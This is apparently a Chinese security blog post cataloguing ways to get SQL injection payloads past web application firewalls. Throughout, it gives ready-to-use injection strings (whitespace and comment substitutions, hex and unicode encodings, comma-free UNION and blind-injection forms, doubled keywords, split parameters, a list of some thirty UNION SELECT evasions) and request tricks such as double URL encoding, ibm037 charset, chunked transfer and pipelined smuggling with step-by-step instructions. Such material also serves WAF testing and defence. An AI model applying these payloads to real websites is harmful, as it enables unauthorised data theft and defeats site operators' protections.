SQL注入绕过

前言

断更了近一年,再回来还是樱花盛放的季节。期间发生了很多事,上一篇文章下面评论的妹妹已经成了女朋友:),三月也要和你一起努力

本文是对SQL注入绕过技术的总结,以后看到新姿势就加进来,不定期更新

空格绕过

空格在url编码中通常为%20,如果这个字符被waf拦截时,我们可以用以下的字符来替换

字符含义
%09TAB键(水平)
%0a新建一行
%0bTAB键(垂直)
%0c新的一页
%0d回车键
%a0空格
%00终止符
/**/mysql注释符
/*!*/mysql注释符+检测版本的语法

特别注意:

  1. %00会截断语句,有时候不可直接作为空格的替换字符,如果直接使用会造成sql语句报错
  2. mysql中有个特性,一般情况下/*!*/是用于检测mysql版本,也就是感叹号后面要加数据库版本号。如果高于这个版本,就执行后面的语句。例如下面的语句表示数据库版本高5.00.09才会执行

/*!50009 select * from test*/

另外通常感叹号后面加的是数字,如果是其他字符将会报错。但有例外,如果加的是sql关键字比如union、select、where等,那么也能正常执行。

image-20220318193252121

image-20220318193110620

以下还有师傅总结的各种数据库中的空白字符

1
2
3
4
5
SQLite3 0A 0D 0C 09 20 
MySQL5 09 0A 0B 0C 0D A0 20
PosgresSQL 0A 0D 0C 09 20
Oracle 11g 00 0A 0D 0C 09 20
MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20

浮点数绕过

如果注入点是整型,那么将其改为浮点数也能绕过部分waf,如将8改为8E0或8.0

大小写绕过

将字母改为大小写混合的形式,如

select * from users where id=1 UnIon SelEct 1,2,3–+

NULL值绕过

在mysql中“\N”代表null

image-20220318201947600

select * from users where id=\Nunion select 1,2,\N

image-20220318202328396

注意:\N后面的空格可加可不加,语法上都可行,不加可以绕过部分waf

十六进制绕过

如果waf过滤了单引号、双引号,那么可以将值转为十六进制再进行查询,如’admin’的十六进制为’61646D696E’,那么我们直接把’admin’替换为0x61646D696E就好,整个payload就不需要引号了。需要注意的是只有注入点是整型才可以,如果注入点是字符型则没法闭合引号,会导致语句报错。

image-20220319121831699

select * from users where id=-1 union select 1,2,(select password from users where username=’admin’)–+

select * from users where id=-1 union select 1,2,(select password from users where username=0x61646D696E)–+

添加库名表名&&跨库查询

select password from users

select users.password from security.users

假设我们要查询的数据库为security,表为users,以上两条语句的查询结果是一样的。下面加了库名表名的语句就可以绕过部分waf

打破常见关键字组合绕过

“union select”这两个关键字在查询时通常都会连在一起使用,waf规则编写者在带有这种惯性思维编写规则时,会将带有这一整个组合的字符串一起过滤,这也会给我们可乘之机。比如在这两个关键字中再加上一个关键字,但不改变语句的查询结果,有这种关键字吗?有,比如“distinct”去重复关键字,“all”查询全部,以及“distinct”的同义词“distinctrow”。或者直接在这之间加入换行符或者注释

-1’ union distinct select password from users–+

-1’ union all select password from users–+

-1’ union%0a/*任意字符。。。*/select password from users–+

反引号绕过

查询语句在表名上,可以加上反引号,也可以不加反引号,都能正常执行。有时候加上反引号可以绕过

-1’ union select password from `users`–+

脚本语言特性绕过

PHP中同一个变量最后出现的值会覆盖前面的赋值,比如

id=1&id=2

此时在php中id取值为2,我们可以利用这个特性来绕过waf,需要注意的是不同的脚本语言配合不同的中间件有不同的特性

id=1%00&id=2 union select 1,2,3–

%00是截断字符,有的waf匹配到第一个%00时,会终止匹配,从而让后面的语句进入执行,最终php处理的语句为id=2 union select 1,2,3--从而造成了注入。

其他语言特性

image-20220321102648180

逗号绕过

在常规的显式注入中,我们会用union select来让想要的信息直接显示在页面上。但有些waf会过滤逗号,所以我们需要找一种不需要逗号的注入方式。对于显式查询和盲注有不同的绕过绕过方式,join连接可以用于显式注入,而substr、mid、like这类字符对比类的方法可以用于盲注的场景。

join连接

先说存在显式注入的情况。在常规的显式注入时,我们会用联合查询也就是union select来把数据显示在页面上

id=1 union select 1,database(),user()–

问题是这会有逗号,用join就可以在没有逗号的情况下使用联合查询显式爆数据。用下面的语句可以达到和上面语句一样的效果

id=1 union select (select 1)a join (select database())b join (select user())c

image-20220321124005981

这里我们让id=-1确保没有对应的信息,这样才能显示后面我们想要的数据。前面的users表有三个字段,所以这里联合查询的时候第一个字段显示1,第二,三个字段分别显示当前的数据库名和用户名。另外就是由于join连接后是表,所以在union select后是从联合表中查询信息,不能像之前那样直接union select 1,2,database()来获取信息。

substr截取字符

在常规的盲注中获取当前使用的数据库名,我们会用以下语句来对比数据库的第一位字符

id=1 and ‘s’=(select(substr(database(),1,1)))–

image-20220321112852964

我们来关注一下语句的后半段,substr这个函数的第一个参数是需要截取的字符,这个不用多说。第二个参数是从第几位开始截取,第三个参数是截取的步长,也就是截取几位字符。也可以写作substr(database() from 1 for 1)这种形式,从而把逗号去除。再看前面的’s’可以用十六进制来表示,字母s对应的十六进制为0x73,所以上面的语句可以变为

image-20220321113509192

id=1 and 0x73=(select(substr(database()from 1 for 1)))–

mid

除了substr这个函数可以用来截取字符串绕过逗号,也可以使用mid来代替substr,用法完全相同,原理同上。

id=1 and 0x73=(select(mid(database()from 1 for 1)))–

like模糊查询

用like模糊查询也是一种用于盲注的字符对比类的注入方式,模糊查询匹配成功返回1,否则返回0。我们可以一个字符一个字符来遍历得到结果。这种方式也不需要逗号。

image-20220321154245371

limit offset绕过

在遍历数据时,我们会用limit去选取哪一行或者哪几行的数据。limit如果只给一个参数时代表rows,即需要的行数。如果给了两个参数,那么第一个参数代表offset,即从第几行开始选取,第二个参数代表rows。下面的语句表示从2开始选取一条数据

select * from users limit 2,1;

如果waf过滤了逗号,也可以写作limit [rows] offset [offset]的形式

select * from users limit 1 offset 2;

image-20220321180620271

运算符绕过

这四个关键字是手工注入中判断是否存在注入点最常用的方式,主流waf都会对id=1 and 1=1类似这些语句做拦截。其实这四个关键字可以用逻辑运算符号来替代

逻辑运算符对应符号使用形式
and&&id=1 && 1=1
or||id=1 || 1=1
not!id=1 && 1=(!(!1))
xor^id=1 && 1^1

关于not还有一种姿势,(-1 not in (1))这个语句恒等于1,而(-1 not in (-1))这个语句恒等于0,所以我们也可以用这个来代替前面的1=1的判断

select * from users where id=-1 not in (1)

select * from users where id=-1 not in (-1)

还有以下6种位运算符

位运算符说明使用形式
|位或a|b
&位与a&b
^位异或a^b
~位取反~a
<<位左移a<<b
>>位右移a>>b

也可以用运算符来对手工注入的语句做一些变换

id=1 && 2=1+1

ascii字符对比绕过

有些waf对union select拦截的话,我们就没办法使用显式注入了。不过可以用盲注中的字符对比法来爆数据。

select * from users where id=1 and substr(database(),1,1)=’s’

select * from users where id=1 and ascii(substr(database(),1,1))=115

在做判断时也可以构造恒成立的语句,比如字母s的ascii就是115,这也是一种1=1的变体

select * from users where id=1 and ascii(substr(‘s’,1,1))=115

等号绕过

如果waf对等号=拦截,可以用大于号>、小于号<、like、rlike模糊查询以及正则查询regexp来绕过

select * from users where id=1 and ascii(substr(database(),1,1))>114

值得一提的是,用等号跑数据需要遍历每个字母,但用大于号和小于号可以用二分法查询,从而减少查询次数,加快查询速度

select * from users where id=1 and substr(database(),1,1)like ‘s%’

image-20220322154113759

顺便说一下like和rlike的区别,like就是模糊查询。rlike是REGEXP_LIKE()的同义词,也是regexp的同义词。根据正则来匹配。另外他们都不区分大小写。

image-20220322155642689

select * from users where id=1 and substr(database(),1,1) regexp ‘^s’;

image-20220322154315774

等号也可以用in和between来代替:

image-20220329195245538

image-20220329195509246

双写关键字绕过

有的防御脚本对特定关键字只过滤一次,如union、select等,那我们就可以双写关键字,使过滤一次以后的语句能正常执行

id=1 uunionnion seleselectct 1,2,3–

该语句被过滤一次关键字后(粗体)就变成了正常的注入语句,从而绕过了防御脚本

id=1 union select 1,2,3–

多参数拆分绕过

首先来看一段php代码

1
2
3
4
$id = $_GET['id'];
$username = $_GET['username'];
$sql = "select * from users where id='$id' and username='$username'";
echo "查询的语句是:".$sql;

有两个参数被拼接在了同一条sql查询语句中,假设waf会对每个提交上来的参数拦截其中的“union select”,该如何绕过?此时可以将“union select”拆分在不同的参数中,payload如下

1’ union/*&username=admin*/select 1,2,3–+

image-20220323184949603

可以看到username这个参数的直接被注释掉,为了看的更清晰,去除注释后的语句就变成了

select * from users where id=’1’ union select 1,2,3–

就变成了一个非常普通的union select注入。小总结一下多参数拆分注入的要点是:同一条sql查询语句中存在两个或以上的可控参数

生僻函数绕过

updatexml()函数经常用于报错注入中,所以waf也会对这个函数进行拦截。我们可以在mysql文档中寻找一些生僻的函数,来达到同样的效果,比如polygon()

select polygon((select * from (select * from (select @@version) f) x));

image-20220323185840131

还有其他的一些等价函数,如下

1
2
3
4
5
6
hex()bin() ==> ascii()
sleep() ==>benchmark()
concat_ws()==>group_concat()
mid()substr() ==> substring()
@@user ==> user()
@@datadir ==> datadir()

信任白名单

像phpmyadmin这些web端的mysql管理软件,会有大量的sql语句拼接在url中。有些waf本意是为了防止对这些管理软件的url拦截而自带文件白名单,如果请求的是白名单中的文件名,sql语句就直接放行。

白名单通常有:/admin/phpmyadmin/admin.php

可以随便赋值给一个参数就行,只要包含在url就可以

http://localhost/sqli.php?aaa=/phpmyadmin&id=-1‘ and 1=1–+

静态文件绕过

出了白名单文件目录绕过外, 有些waf也不会对静态文件后的参数做检查,静态文件如图片jpg,png,gif,svg,样式文件css,脚本文件js,字体文件woff,ttf,利用方式也是加在url当中即可

http://localhost/sqli.php?aaa=/1.css&id=-1‘ and 1=1–+

http://localhost/sqli.php?/1.jpg&id=-1‘ and 1=1–+

order by绕过

order by常用于手工注入时判断表中字段的个数,order by被拦截时可以用@符号绕过,@在mysql中是取变量的含义

select * from users where id=1 union select @a,@b,@c–+

可以看到如果变量个数与字段数不相等则会报错

image-20220324184545037

再简单些也可以不输变量名,只用@符号,并且不用union select联合查询,用into赋值语句

image-20220324184701002

image-20220324184931517

改变请求方式绕过

所谓的改变请求方式就是原本是get请求,可以变成用post去请求;原本是post的请求可以变成用get去请求。有几率绕过waf。具体原理我们先举个例子,首先我们都知道,如果是post请求,服务器会从请求体body中取参,而如果是get请求,服务器会从url中取参。所以waf在接收到post请求时会检测请求体body里的参数,接收到get请求时会检测url中的参数。假设服务端要用get方式接受一个id参数,那么服务端的语句一定是$id=$_GET['id'];。那么如果我们用post给这个接口发起请求,waf检测到这是个post请求就会去检测请求体中的参数,但实际上服务端脚本接受到的是url中的参数,我们就可以在url中的参数中sql注入。

image-20220325121946047

右下角是服务器的代码,接受一个get请求的id参数。我们用post请求服务器照样可以正常接收到get参数,但waf可能就会认为这是个post请求从而去检查post请求体中的参数,造成了绕过。在实际应用中也可以试试put等请求方式

application/json 或 text/xml 绕过

有些waf对于json或xml中的数据不会做检查,从而造成了绕过。注意请求头中的Content-Type要设置为application/json或text/xml,并且后端程序支持接受这类形式的传参。

脏数据溢出绕过

在真正的payload前填入大量的脏数据,数据太多超过了waf的检测范围。真正的原理据说是因为这算是一个缓冲区溢出。很多waf是C语言编写的,而C语言本身没有缓冲区保护机制。waf在检测超过其缓冲区长度的payload时就会造成绕过。

id=1’ and (select 1)=(select 0xA*1000) union select 1,2database()–+

这里的select 0xA*1000指的是对0xA的A重复1000次。

花括号绕过

在值的位置加上花括号,左边x的位置上可以输入任意字母开头+数字的组合

image-20220329173607017

编码绕过

利用编码绕过waf的最基本的原理就是waf识别不了请求包中的编码协议,或者说对请求包中的编码处理能力有限,但服务器却可以正确识别并处理

二次编码绕过

一开始会把二次编码注入和二次注入搞混淆,关于二次注入会新开一篇文章讲讲。这里先说二次编码注入绕过waf。首先我们先来看一段php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
// 首先是一段转义代码,gpc开启时直接用gpc转义,没开启就用addslashes()转义
function filterstr($key){
if(!get_magic_quotes_gpc()){
$key = addslashes($key);
}
return $key;
}
// 经过url解码后送入sql语句中执行
$id = urldecode(filterstr($_GET['id']));
$sql = "SELECT * FROM usres WHERE id = '$id' LIMIT 0,1";
echo "查询的语句是:".$sql;
// $result = mysql_query($sql);
// $row = mysql_fetch_array($result);

乍一看sql语句是经过转义过的,直接执行应该没什么问题。但是我们注意到这个urldecode()函数。这里借用一张图来解释说明。浏览器在传输get方式提交的参数时,会将参数url编码一次,nginx、apache之类的中间件会将参数解码一次。但是如果浏览器传入的是二次url编码后的数据,waf检测到的是只经过一次url解码后的数据,自然就认为是正常的数据了。

img

这里用burp做两次url编码

image-20220323161250379

一次编码的查询结果,可以看到单引号是被正常转义的

image-20220323161309576

两次编码的查询结果,可以看到二次编码后单引号反而没有被转义,直接可以注入了

image-20220323161335933

url编码绕过

可以将整个payload做一次url编码,也可以对其中单独的字符做url编码,如N的url编码是%4e,在payload中直接用%4e代替,服务器会自动解码后去查询。

image-20220329180531823

ibm037编码

我们需要在Content-Type上设置编码为ibm037,

Content-Type: application/x-www-form-urlencoded; charset=ibm037

并且将请求体用ibm037编码。这里放一段ibm037的编码脚本

1
2
3
4
import urllib.parse
s = 'id=-1 union select 1,user()-- '
ens=urllib.parse.quote(s.encode('ibm037'))
print(ens)

image-20220329183157363

ibm037的支持情况可以参考以下表格

image-20220329182757261

unicode编码绕过

unicode形式:“\u”或者“%u”加上4位16进制unicode码值

iis会自动识别这种编码,有些waf不会拦截这种编码

和url编码一样,可以部分编码,也可以全编码

部分编码,大写N的unicode编码为\u004e,小写s的unicode编码为\u0073,所以payload为

id=-1 u\u004eion \u0073elect 1,2,database()–

全编码:

id=-1 union select 1,2,database()–

\u0069\u0064\u003d\u002d\u0031\u0020\u0075\u006e\u0069\u006f\u006e\u0020\u0073\u0065\u006c\u0065\u0063\u0074\u0020\u0031\u002c\u0032\u002c\u0064\u0061\u0074\u0061\u0062\u0061\u0073\u0065\u0028\u0029\u002d\u002d\u0020

如果请求包为JSON格式,也可以将payloadu全部或部分转为unicode编码来绕过waf,参考JSON RFC

union select绕过

waf 会针对union select 进行拦截

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
uNIoN sel<>ect # 程序过滤<>为空 脚本处理
uNi/**/on sele/**/ct # 程序过滤/**/为空
uNIoN /\*!%53eLEct\*/ # url 编码与内联注释
uNIoN se%0blect # 使用空格绕过
uNIoN sele%ct # 使用百分号绕过
uNIoN %53eLEct # 编码绕过
uNIoN sELecT 1,2 #大小写绕过
uNIoN all select 1,2 # ALL绕过
uNIoN DISTINCT select 1,2 # 去重复DISTINCT 绕过
null+UNION+SELECT+1,2 # 加号代替空格绕过
/\*!union\*//\*!select\*/1,2 # 内联注释绕过
/\*!50000union\*//\*!50000select\*/1,2 # 内联注释绕过
uNIoN/**/select/**/1,2 # 注释代替空格绕过
/**//*!12345UNION SELECT*//**/
/**/UNION/**//*!50000SELECT*//**/
REVERSE(noinu)+REVERSE(tceles)
/*!%55NiOn*/ /*!%53eLEct*/
%55nion(%53elect 1,2,3)-- -
+union+distinct+select+
+#uNiOn+#sEleCt
+#1q%0AuNiOn all#qa%0A#%0AsEleCt
/*!%55NiOn*/ /*!%53eLEct*/
/*--*/union/*--*/select/*--*/
union (/*!/**/ SeleCT */ 1,2,3)
/**//*!union*//**//*!select*//**/
union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
%2f**%2funion%2f**%2fselect

其他畸形payload(持续新增)

union select””a1,database(),3

union select+1,database(),3

换行+注释绕过关键表名检测,如information_schema.tables

information_schema%23%0a.%23%0a.tables

分块传输绕过

分块传输本意用于post的数据过大,需要分成好几个chunk来传输。我们可以利用这个特性来分割payload,从而绕过部分waf。在请求的header中加入Transfer-Encoding: chunked之后,就代表这个报文采用了分块编码。每个分块的首行为数据的长度值(十六进制),可以在长度标识处加上分号“;”作为注释。第二行为数据行,将原payload分为若干个分块,在最后一块数据后加上一个0和两个换行符也就是CRLF,表示后面没有其他数据了。

分块传输绕过

新增:最近看到c0ny1师傅提出了一种延时分块传输绕过waf的姿势,学习了Java反序列化数据绕WAF之延时分块传输

Pipeline绕过

在http中使用pipeline是为了复用TCP连接从而加速数据传输速度、降低延迟。在http1. 0中,pipeline是默认关闭的,除非客户端在请求的header中使用Connection:Keep-Alive。在http1.1中,默认所有的连接都是持久连接。利用pipeline的特性将payload分成两个包,前一个放sql注入的payload,后一个放正常的数据包,有些waf会只检查最后一个数据包从而造成绕过。其实这个技术的本质就是HTTP请求走私。

Pipeline绕过

下面说一下构造pipeline请求的方式:

  1. 在burp中取消勾选“Update Content-Length”
  2. 复制一份数据包,直接跟在第一个数据包的后面
  3. 将第一个数据包的Connection改为Keep-Alive
  4. 将第二个数据包的post body改为正常的数据
  5. 最后手动计算一下第二个包的数据长度,设置在Content-Length中,比如我的第二个包的数据uname=1&passwd=1&submit=Submit长度为30,Content-Length就设置为30
  6. 点击Send发送数据包即可

取消勾选“Update Content-Length”

multipart/form-data绕过

这种方式也称“协议未覆盖绕过”

http的Content-Type提交表单支持三种类型:

  • application/x-www-form-urlencoded 编码模式 这也是最常见的form表单提交的格式

  • multipart/form-data 这种格式多用于文件上传的file控件

  • text/plain 文本模式

Content-Type的作用就是告诉服务器提交上来的表单是以什么格式编码的,以便于服务器解码。由于multipart/form-data多用于对上传的文件进行编码,所以有些waf不会检查编码后的文件内容,如果我们以这种形式提交post数据,则可以绕过waf。

multipart/form-data绕过

组合技绕waf

通常绕过waf需要将上述的技巧进行组合,比如分块传输+multipart/form-data绕过,先进行form-data编码,再进行分块传输编码。

组合技绕waf

参考文章

对过WAF的一些认知

MySQL绕过小结

利用分块传输吊打所有WAF

在HTTP协议层面绕过WAF

Java反序列化数据绕WAF之延时分块传输

解密协议层的攻击——HTTP请求走私

Bypassing WAFs with JSON Unicode Escape Sequences

我的WafBypass之道(SQL注入篇)


SQL注入绕过
https://wanf3ng.github.io/2022/03/18/SQL注入绕过/
作者
wanf3ng
发布于
2022年3月18日
许可协议